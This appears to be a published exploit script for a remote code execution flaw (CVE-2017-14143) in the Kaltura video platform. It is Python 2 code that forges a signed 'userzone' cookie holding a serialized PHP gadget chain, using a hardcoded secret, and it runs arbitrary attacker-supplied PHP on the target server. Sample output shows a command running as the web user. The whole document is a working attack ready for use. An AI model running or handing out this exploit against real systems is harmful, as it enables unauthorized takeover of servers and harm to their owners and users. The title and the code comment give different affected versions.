Kaltura 13.2.0 - Remote Code Execution

#!/usr/bin/env python

# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
# 
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)

import urllib
import urllib2
import base64
import md5
import sys

cookie_secret = 'y3tAno3therS$cr3T';

def exploit(host, entry_id, php_code):
    print("[+] Sending request..")
    url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)

    cmd = "{}.die();".format(php_code)
    cmd_len = len(cmd)

    payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"

    exploit_code = payload % (len(cmd), cmd)
    encoded = base64.b64encode(exploit_code)
    md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()

    cookies={'userzone': "%s%s" % (encoded, md5_hash)}

    r = urllib2.Request(url)
    r.add_header('Cookie', urllib.urlencode(cookies))

    req = urllib2.urlopen(r)
    return req.read()

if __name__ == '__main__':

    if len(sys.argv) < 4:
        print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
        print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
        sys.exit(0)

    host = sys.argv[1]
    entry_id = sys.argv[2]
    cmd = sys.argv[3]

    print("[~] host: %s" % host)
    print("[~] entry_id: %s" % entry_id)
    print("[~] php_code: %s" % cmd)

    result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])

    print(result)